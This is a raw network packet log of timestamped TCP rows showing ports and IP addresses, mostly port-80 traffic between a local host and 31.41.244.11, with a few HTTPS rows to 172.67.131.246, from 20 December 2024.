Dec 20, 2024 17:43:31.739490986 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.739536047 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.739600897 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.739646912 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.740452051 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.740497112 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.741096020 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.741148949 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.741475105 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.741518974 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.742053032 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.742096901 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.742326975 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.742374897 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.742397070 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.742439032 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.743278980 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.743329048 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.743396044 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.743443012 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.744255066 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.744302988 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.744343996 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.744390011 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.745199919 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.745248079 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.745354891 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.745397091 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.746270895 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.746315956 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.746614933 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.746660948 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.747189999 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.747231960 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.747451067 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.747497082 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.748064995 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.748106003 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.748143911 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.748184919 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.748944998 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.749000072 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.749113083 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.749161005 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.749950886 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.749963999 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.749993086 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.750010014 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.750897884 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.750911951 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.750941992 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.750956059 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.751835108 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.751879930 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.752108097 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.752151966 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.752747059 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.752794027 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.753051996 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.753104925 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.753674984 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.753720045 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.753936052 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.753983021 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.754628897 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.754676104 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.754715919 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.754759073 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.755649090 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.755697012 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.755860090 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.755903006 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.756578922 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.756622076 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.756879091 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.756922007 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.757472038 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.757514000 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.757567883 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.757610083 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.758439064 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.758485079 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.758594036 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.758636951 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.759401083 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.759449005 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.759546041 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.759587049 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.760355949 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.760406017 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.760447025 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.760489941 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.761265039 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.761307001 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.761404991 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.761449099 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.762295961 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.762307882 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.762336969 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.762351990 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.763185024 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.763228893 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.763729095 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.763775110 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.764127016 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.764138937 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.764170885 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.764183998 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.765033007 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.765100956 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.773586035 CET	443	49737	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:31.773679972 CET	49737	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:31.774961948 CET	49737	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:31.774971008 CET	443	49737	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:31.775373936 CET	443	49737	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:31.775453091 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.775537968 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.775585890 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.775625944 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.775825024 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.775885105 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.775954008 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.776010990 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.776784897 CET	49737	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:31.776787043 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.776839018 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.776885033 CET	49737	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:31.776918888 CET	443	49737	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:31.776947021 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.777034044 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.777760983 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.777826071 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.910092115 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.910165071 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.910212994 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.910278082 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.910520077 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.910603046 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.910715103 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.910762072 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.910787106 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.910844088 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.911695957 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.911741972 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.911794901 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.911837101 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.912585020 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.912627935 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.914128065 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.914172888 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.914331913 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.914374113 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.914585114 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.914632082 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.915205956 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.915251970 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.915563107 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.915604115 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.915666103 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.915708065 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.916593075 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.916645050 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.916663885 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.916706085 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.917464972 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.917512894 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.917757988 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.917823076 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.918441057 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.918484926 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.918739080 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.918782949 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.919430971 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.919476986 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.919562101 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.919601917 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.920331955 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.920376062 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.920726061 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.920769930 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.921262026 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.921314955 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.921550989 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.921596050 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.922194958 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.922236919 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.922317982 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.922357082 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.923178911 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.923227072 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.923358917 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.923403025 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.924132109 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.924179077 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.924320936 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.924364090 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.925054073 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.925102949 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.925148010 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.925190926 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.926121950 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.926167965 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.926248074 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.926286936 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.926944017 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.927004099 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.927246094 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.927287102 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.927879095 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.927936077 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.928546906 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.928591967 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.928869009 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.928913116 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.929023027 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.929064989 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.929781914 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.929826975 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.930210114 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.930252075 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.930757046 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.930799961 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.930860996 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.930896997 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.931673050 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.931711912 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.932002068 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.932054043 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.932651997 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.932665110 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.932694912 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.933542013 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.933584929 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.933645010 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.933684111 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.934509039 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.934551001 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.934860945 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.934900045 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.935467958 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.935508013 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.935719967 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.935759068 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.936420918 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.936460018 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.936587095 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.936625957 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.937391043 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.937432051 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.938059092 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.938100100 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.938304901 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.938344955 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.938568115 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.938607931 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.939265966 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.939337969 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.939455032 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.939541101 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.940210104 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.940254927 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.941013098 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.941056967 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.941334009 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.941346884 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.941379070 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.942070961 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.942116022 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.942209005 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.942253113 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.943022966 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.943063974 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.943296909 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.943346024 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.943974018 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.944019079 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.944118023 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.944159985 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.944914103 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.944957018 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.945039988 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.945081949 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.945872068 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.945914984 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.946150064 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.946192026 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.946861982 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.946908951 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.947208881 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.947254896 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.947807074 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.947865009 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.947947979 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.948019028 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.948785067 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.948829889 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.948870897 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.948909998 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.949704885 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.949745893 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.949763060 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.949803114 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.950671911 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.950714111 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.950793028 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.950829983 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.951585054 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.951627970 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.951720953 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.951760054 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.952478886 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.952517986 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.952605963 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.952645063 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.953454971 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.953496933 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.953540087 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.953577995 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.954400063 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.954436064 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.954471111 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.954511881 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.955391884 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.955435038 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.955513000 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.955560923 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.956357002 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.956401110 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.956423044 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.956466913 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.957294941 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.957338095 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.967545033 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.967602968 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.967650890 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.967694998 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.968041897 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.968081951 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.968137026 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.968178988 CET	49736	80	192.168.2.6	31.41.244.11
